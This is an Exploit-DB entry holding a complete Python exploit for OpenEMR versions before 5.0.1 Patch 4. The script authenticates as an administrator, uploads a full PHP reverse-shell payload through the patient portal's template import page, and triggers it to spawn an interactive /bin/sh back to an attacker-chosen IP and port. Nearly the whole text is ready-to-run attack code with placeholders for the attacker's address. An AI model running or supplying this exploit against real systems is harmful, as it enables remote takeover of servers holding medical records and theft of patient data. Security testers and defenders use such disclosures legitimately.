Exploit-DB #48515
Description: OpenEMR 5.0.1 - Remote Code Execution (1)
Type: webapps
Platform: php
Date: 2020-05-26
Author: Musyoka Ian

Exploit:
# Title: OpenEMR 5.0.1 - Remote Code Execution (1)
# Exploit Author: Musyoka Ian
# Date: 2020-05-25
# Title: OpenEMR < 5.0.1 - Remote Code Execution
# Vendor Homepage: https://www.open-emr.org/
# Software Link: https://github.com/openemr/openemr/archive/v5_0_1_3.tar.gz
# Dockerfile: https://github.com/haccer/exploits/blob/master/OpenEMR-RCE/Dockerfile 
# Version: < 5.0.1 (Patch 4)
# Tested on: Ubuntu LAMP, OpenEMR Version 5.0.1.3
# References: https://medium.com/@musyokaian/openemr-version-5-0-1-remote-code-execution-vulnerability-2f8fd8644a69

# openemr_exploit.py

#!/usr/bin/env python2
# -*- coding: utf-8 -*-

import requests
import time

auth = "[+] Authentication with credentials provided please be patient"
upload = "[+] Uploading a payload it will take a minute"
netcat = "[+] You should be getting a shell"
s = requests.Session()
payload = {'site': 'default', 'mode' : 'save', 'docid' : 'shell.php', 'content' : """<?php

set_time_limit (0);
$VERSION = "1.0";
$ip = '127.0.0.1';  # CHANGE THIS
$port = 9001;       # CHANGE THIS
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;

//
// Daemonise ourself if possible to avoid zombies later
//

// pcntl_fork is hardly ever available, but will allow us to daemonise
// our php process and avoid zombies.  Worth a try...
if (function_exists('pcntl_fork')) {
	// Fork and have the parent process exit
	$pid = pcntl_fork();
	
	if ($pid == -1) {
		printit("ERROR: Can't fork");
		exit(1);
	}
	
	if ($pid) {
		exit(0);  // Parent exits
	}

	// Make the current process a session leader
	// Will only succeed if we forked
	if (posix_setsid() == -1) {
		printit("Error: Can't setsid()");
		exit(1);
	}

	$daemon = 1;
} else {
	printit("WARNING: Failed to daemonise.  This is quite common and not fatal.");
}

// Change to a safe directory
chdir("/");

// Remove any umask we inherited
umask(0);

//
// Do the reverse shell...
//

// Open reverse connection
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
	printit("$errstr ($errno)");
	exit(1);
}

// Spawn shell process
$descriptorspec = array(
   0 => array("pipe", "r"),  // stdin is a pipe that the child will read from
   1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
   2 => array("pipe", "w")   // stderr is a pipe that the child will write to
);

$process = proc_open($shell, $descriptorspec, $pipes);

if (!is_resource($process)) {
	printit("ERROR: Can't spawn shell");
	exit(1);
}

// Set everything to non-blocking
// Reason: Occsionally reads will block, even though stream_select tells us they won't
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);

printit("Successfully opened reverse shell to $ip:$port");

while (1) {
	// Check for end of TCP connection
	if (feof($sock)) {
		printit("ERROR: Shell connection terminated");
		break;
	}

	// Check for end of STDOUT
	if (feof($pipes[1])) {
		printit("ERROR: Shell process terminated");
		break;
	}

	// Wait until a command is end down $sock, or some
	// command output is available on STDOUT or STDERR
	$read_a = array($sock, $pipes[1], $pipes[2]);
	$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);

	// If we can read from the TCP socket, send
	// data to process's STDIN
	if (in_array($sock, $read_a)) {
		if ($debug) printit("SOCK READ");
		$input = fread($sock, $chunk_size);
		if ($debug) printit("SOCK: $input");
		fwrite($pipes[0], $input);
	}

	// If we can read from the process's STDOUT
	// send data down tcp connection
	if (in_array($pipes[1], $read_a)) {
		if ($debug) printit("STDOUT READ");
		$input = fread($pipes[1], $chunk_size);
		if ($debug) printit("STDOUT: $input");
		fwrite($sock, $input);
	}

	// If we can read from the process's STDERR
	// send data down tcp connection
	if (in_array($pipes[2], $read_a)) {
		if ($debug) printit("STDERR READ");
		$input = fread($pipes[2], $chunk_size);
		if ($debug) printit("STDERR: $input");
		fwrite($sock, $input);
	}
}

fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);

// Like print, but does nothing if we've daemonised ourself
// (I can't figure out how to redirect STDOUT like a proper daemon)
function printit ($string) {
	if (!$daemon) {
		print "$string\n";
	}
}

?> """}
print (auth)
url = "http://localhost/openemr/interface/main/main_screen.php?auth=login&site=default"
data= {
    'new_login_session_management' : '1',
    'authProvider' : 'Default',
    'authUser' : 'admin', # change this to the the appropriate username
    'clearPass' : 'password123',       # change this to the appropriate password 
    'languageChoice' : '1',
    }
    
response = s.post(url, data=data,).text
time.sleep(2)
print (upload)
time.sleep(2)
resp = s.post("http://localhost/openemr/portal/import_template.php?site=default", data = payload)
time.sleep(2)
print (netcat)
rev_shell = s.get("http://localhost/openemr/portal/shell.php")
print (rev_shell.text)